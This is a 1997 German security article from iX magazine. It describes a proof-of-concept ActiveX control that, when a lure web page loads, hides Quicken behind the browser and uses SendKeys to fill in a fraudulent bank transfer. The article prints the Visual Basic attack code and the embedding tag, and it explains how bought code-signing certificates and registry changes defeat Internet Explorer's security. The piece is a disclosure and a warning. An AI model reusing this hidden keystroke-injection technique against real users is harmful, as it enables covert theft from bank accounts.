Geldklau dank ActiveX
Steffen.Peter@Jena.Thur.De & Lutz.Donnerhacke@Jena.Thur.De
Dieser Text unterliegt der GPL. Er wurde für die Veröffentlichung in der iX 3/97 geschrieben. Das Original muß bei jeder weiten Veröffentlichung oder Weiterverwendung stets beiliegen oder frei vom Verwender verfügbar sein.

Idee

Beim alljährlichen Chaos Communication Congress in Hamburg wird viel Unsinn diskutiert. So auch am Freitagabend. Thema der vier Tischbesetzer: "(Un)Sicherheit von Online Banking und Internetbanking".

Neben den bekannten Methoden des "Man in the middle attacks" und der üblichen Schwächen von Bankprotokollen wurde nach einem neuen Angriff gesucht. Um eine schöne Breitenwirkung zu erzielen waren Angriffe nullter Ordnung, also Angriffe gegen den Kunden und sein System von besonderem Interesse.

Der gewöhnliche Homebankingkunde ist bei T-Online. Er setzt Windows 95 ein. Würde man ein WWW Angebot betreiben, so wäre der Kunde in dem Augenblick, in dem auf eine Seite zugreift mit IP Nummer bekannt. Jetzt könnte man den Rechner fernsteuern. Jedoch hat Microsoft leider die Serverfähigkeiten des Windows 95 Systems stark beschränkt.

Applikationen auf fremden System ausführen zu können ist das Entwicklungsziel von Suns Java. Mitte 1996 kündigte Microsoft an, der Java Gemeinde den Rücken zu kehren. Grund: "Java ist den Anforderungen von Microsoft nicht gewachsen. Die Sicherheitsmechanismen von Java gestatten keine Fernsteuerung fremder Software, was Shared Applications verhindert." So wurde ActiveX ins Leben gerufen.

Nach einer NASA Cert Meldung vom 6. September 1996, in der darauf hingewiesen wurde, daß der Microsoft Internet Explorer Sicherheitslücken in Bezug auf Makroprogrammierung aufweist, war ActiveX auch bei Unixern bekannt.

Deshalb kam an diesem Freitagabend der Vorschlag, alles ActiveX zu überlassen und keine eigenen Aktivitäten zu entwickeln. Ein ActiveX Applet geschrieben, auf eine Lockseite gesetzt und ... . Eine Aufgabe für Steffen Peter, den einzigen freiwilligen Windowsprogrammierer.

Programmierung

Ein kurzer Gang nach http://www.microsoft.com/download/ brachte dann eine Möglichkeit zum schreiben von ActiveX Controls in Form einer 8 MB großen Beta Version von Visual Basic 5.0. Innerhalb von Visual Basic hat Microsoft den bekannten "optischen" Programmierstil nun auch auf ActiveX Komponenten ausgedehnt. Mittels der gängigen Möglichkeiten von Visual Basic war es in kurzer Zeit möglich, ein Control zu schreiben, welches mit der shell-Anweisung Quicken startet und dieses via SendKeys fernbedient. Hierbei ergab sich allerdings das Problem, das Quicken unter bestimmten Umständen mit der Verarbeitung einer Eingabe noch nicht fertig ist, wenn SendKeys zurückkehrt. Daher fügten wir an einigen Stellen des Programms noch Warteschleifen ein, um Quicken Gelegenheit zu geben die Eingaben der Reihe nach zu verarbeiten.

Zu diesem Zeitpunkt wurde dem Benutzer die Abbuchung allerdings noch im Vollbild und im Vordergrund präsentiert. Der erste Gedanke dieses Problem zu lösen, indem man Quicken nur als Icon laufen lassen würde scheiterte, da die SendKeys Routine von Visual Basic offenbar nicht in der Lage ist Tatendrücke an ein iconisiertes Programm zu schicken. Um Quicken dann doch noch unsichtbar für den Benutzer als Vollbild laufen zu lassen, griffen wir zur Windows API, welche dies mit SetWindowPos ermöglicht.

SetWindowPos setzt die Position eines Fensters im der windowsinternen Fensterverwaltung und ermöglicht hierbei die Angabe von HWND_TOPMOST, wodurch ein Fenster unabhängig von Aktivität oder Inaktivität immer im Vordergrund bleibt (Dasselbe Verfahren nutzt zum Beispiel die Windows Hilfe). Nun erfolgt eine Bestimmung des Handles des aktiven Fensters (also in der Regel des Internet Explorers) und dieses wird so in der Vordergrund geschaltete, das alle Aktionen im Hintergrund einfach nicht sichtbar sind. Erstaunlicherweise gelang uns dies ohne jegliche Sicherheitseinschränkungen durch ActiveX. Nach der Installation wurde dem ActiveX Control jeder Zugriff auf die lokale API gewährt (Womit auch die Aussage Microsofts nach dem Nichtvorhandensein einer Möglichkeit zum Aufruf der format Routine relativiert wird. Die Microsoftsche API für Windows 95 bietet bekanntermaßen auch Funktionen, die das Dateisystem betreffen ...).

Ein letztes Problem war die Installation des Controls auf dem Client PC, da eine ActiveX Komponente eine Reihe von Eintragungen in der Registry benötigt. Mit dem von Visual Basic 5.0 mitgelieferten Setup Wizard ist es möglich die hierfür benötigten Dateien zu erstellen. Hierbei erstellt dieser unter anderem eine .cab Datei, die dann wie folgt in eine Webseite eingebunden wird:

<OBJECT classid="clsid:D75D5AEA-4B9A-11CF-8980-444553540000"
        id=UserControl1%
        codebase="Project1.CAB#version=1,0,0,0">
</OBJECT>

Hierbei stellt die classid eine eindeutige Identifizierung des Controls sicher. Sie wird automatisch von Visual Basic vergeben. Die codebase Angabe beschreibt, wo das ActiveX Control zu finden ist, falls es noch nicht auf dem lokalen Rechner installiert ist. In diesem Falle befand sich die .cab-Datei im selben Verzeichnis wie die .html-Datei. Anderenfalls müßte der Pfad von project1.cab angepaßt werden.

Weiterhin wird zur Ausführung des Controls auf dem Client PC noch die Datei msvbvm50.dll im Windows Systemverzeichnis benötigt. Bei Fehlen dieser wird die 1,2 MB große Datei standardmäßig von ftp.microsoft.com heruntergeladen. Daher kann der erste Start eines solchen mit Visual Basic generierten ActiveX Controls unter Umständen etwas länger dauern.

Der Code

Deklarationsteil

Declare Function SetWindowPos Lib "user32" (ByVal h%, ByVal hb%,
                                            ByVal X%, ByVal Y%,
                                            ByVal CX%, ByVal CY%,
                                            ByVal f%) As Integer
Declare Function GetActiveWindow Lib "user32" () As Integer

In der Form

Aus Gründen der Übersichtlichkeit haben wir die hinter jedem SendKeys-Statement vorkommenden Zeitschleifen weggelassen.

'aktuelles Fenster auf HWND_TOPMOST setzen
  test = SetWindowPos(GetActiveWindow, HWND_TOPMOST, 0, 0, 0, 0,
                      SWP_NOMOVE Or SWP_NOSIZE)
  Dim i As Variant
  Dim z As Variant
  i = Shell("c:\qw4\qw.exe", 1)  'Quicken starten
  AppActivate i
  SendKeys "^ü"		      'Überweisungsformular aufrufen
  SendKeys "{tab}"
  SendKeys "Empfänger", True  'Empfänger
  SendKeys "{tab}"
  SendKeys "{tab}", True
  SendKeys "123456", True     'Konto-Nummer
  SendKeys "{tab}", True
  SendKeys "12345678", True   'BLZ
  SendKeys "{tab}", True
  SendKeys "Testbank", True   'Bankname
  SendKeys "{tab}", True
  SendKeys "20", True         'Betrag
  SendKeys "{tab}", True
  SendKeys "ActiveX missbraucht", True  'Verwendungszweck
  SendKeys "{tab}", True
  SendKeys "Spende", True     'Kategorie
  SendKeys "{tab}", True
  SendKeys "{tab}", True
  SendKeys "{Enter}", True    'div. Abfragen von Quicken bestätigen
  SendKeys "{enter}", True
  SendKeys "{esc}"                 
  SendKeys "%{F4}", True      'Quicken beenden

Ablauf beim Opfer

Ein ActiveX Applet teilt sich in zwei Bereiche. Der Initialisierungsteil dient dazu, Speicher und den Bildschirmbereich auf der WWW-Seite vorzubereiten, z.B. Buttons zu zeichnen. Ist die Seite aufbereitet, können die Nutzeraktionen auf dem Appletbereich den Hauptteil bedienen.

Während der Entwicklung stellte sich heraus, daß der Initialisierungsteil schon vollen Zugriff auf die API hat, so daß die Schadensaktionen beim Laden der Seite ausgeführt werden können. Die Trennung ist also rein theoretischer Natur.

Klickt das ahnungslose Opfer auf der Lockseite den Link an, so wird die Schadensseite geladen. Während des Ladens wird das Applet gestartet und schaltet den Internet Explorer in den Vordergrund. Wer will kann auch Vollbild zuschalten. Hinter dem Explorerfenster wird Quicken gestartet und die Überweisung ausgefüllt. Erst nachdem Quicken wieder geschlossen wurde, ist das Laden der Seite beendet. Wer will kann dem Opfer ein größeres Bild danebenlegen, welches parallel geladen wird, so daß er den Vorgang nicht abbricht.

Viel später wird das Opfer seine Homebankingsoftware benutzen und die Überweisungen versenden. In der Regel sind dies dann Sammelüberweisungen und so fragt die Hombankingsoftware: "Es sind 5 Überweisungen zu 2756,32 DM zu versenden. OK?" Wer jetzt merkt, daß er eigentlich nur 4 Überweisungen zu 2736,32 DM machen wollte, hat Glück gehabt.

Sind die Überweisungen bei der Bank, stehen die Chancen, das Geld wiederzusehen schlecht. Überweisungen sind kaum rückholbar, im Gegensatz zu Lastschriften. Außerdem hat das Opfer ja für eine erbrachte Leistung (Ansehen einer Webseite) bezahlt, so daß ein mündlicher Kaufvertrag entstand. Der Täter bewegt sich zwar auf dünnem Eis, kann jedoch klar und unmißverständlich, den Preis von 20 DM auf der Webseite ankündigen, so daß der Vorgang juristisch wasserdicht wird. Dies hat Microsoft mit Quicken vor, wie am 16. Januar 1997 im Rahmen des Open Financial Connectivity (OFC) angekündigt wurde.

Sicherheit

Selbstverständlich betont Microsoft die Sicherheit des Systems. So soll der Internet Explorer ausschließlich im höchsten Sicherheitsmodus laufen. Dies ist auch die Defaulteinstellung bei der Installation.

Was bringt nun diese Sicherheitsstufe? Der Internet Explorer verweiget die Ausführung von ActiveX Applets komplett, es sei denn, sie sind zertifiziert.

Um eine Zertifikat eigener Applets zu bekommen, wendet man sich als Privatperson an die Zertifikationsinstanzen und kauft für 20 US$ eine ID. Mit diesem Schlüsselpaar kann man nun eigene Applets unterschreiben und so trotz der höchsten Sicherheitsstufe des Internet Explorers auf fremden Rechnern starten.

Microsoft selbst zur Bedeutung der Zertifikate:

Is Authenticode technology really secure?

While not guaranteeing bug-free code, Authenticode technology is designed to identify the publisher of the code and to assure end users that software has not been tampered with before or during the download process.

Es wird also nur festgestellt, daß die Applets unverändert und von einem registrierten Autor sind. Über die Funktionsweise des Applets selbst oder gar dessen Harmlosigkeit macht es keine Aussagen.

Zwei kleinere Fehler können den Nutzer verblüffen:

  1. Läd man ein unzertifiziertes VB-ActiveX-Applet in einer niedriegeren Sicherheitsstufe, so läd der Internet Explorer automatisch die benötigten DLLs von ftp.microsoft.com. Da diese zertifiziert sind, zeigt der Internet Explorer danach das Zertifikat an und nur ein sehr aufmerksamer Leser wird bemerken, daß dies nicht das Zertifikat des kleinen Applets ist.
  2. Die ältere Version 3.0 des Internet Explorers führt immer den Initialisierungteil des ActiveX Applets aus, und meldet dann, daß der Code nicht sicher ist und deshalb die Ausführung verweigert wird. In unserem Fall ist es dann bereits zu spät.

Wird Windows NT eingesetzt, so kann das Applet nur das tun, was auch der Nutzer tun könnte. Im Normalfall genügt dies für diesen Angriff. Wer spielfreudig ist, kann jedoch auch auf die Posix Schnittstelle zugreifen und mit einem su mehr als die nutzerbezogene Registry beschädigen.

Die Registry bietet noch einige andere witzige Möglichkeiten. So kann ein ActiveX Applet die Sicherheitsstrufe des Internet Explorers verändern, beispielsweise auf "niedrig" setzen um unzertifizierte ActiveX Applets starten zu können. Ebenso finden sich dort Hinweise auf die vorhandene Banksoftware, machmal deren Passworte ...

Fazit

Es ist allen Windows 95 und Windows NT Benutzern dringend von ActiveX fähigen Browsern abzuraten. Microsoft hat bei dem gutgemeinten Aufbohren von Java einige grundsätzliche Denkfehler begangen. Damit spielt diese Firma mit dem Vertrauen der Kunden. Es bleibt zu hoffen, daß der Softwareriese schnell begreift.

Bibliographie

zur ckzurück © 1996-2014 Lutz Donnerhacke @ IKS GmbH Jena Sunday | 21.Sep.2014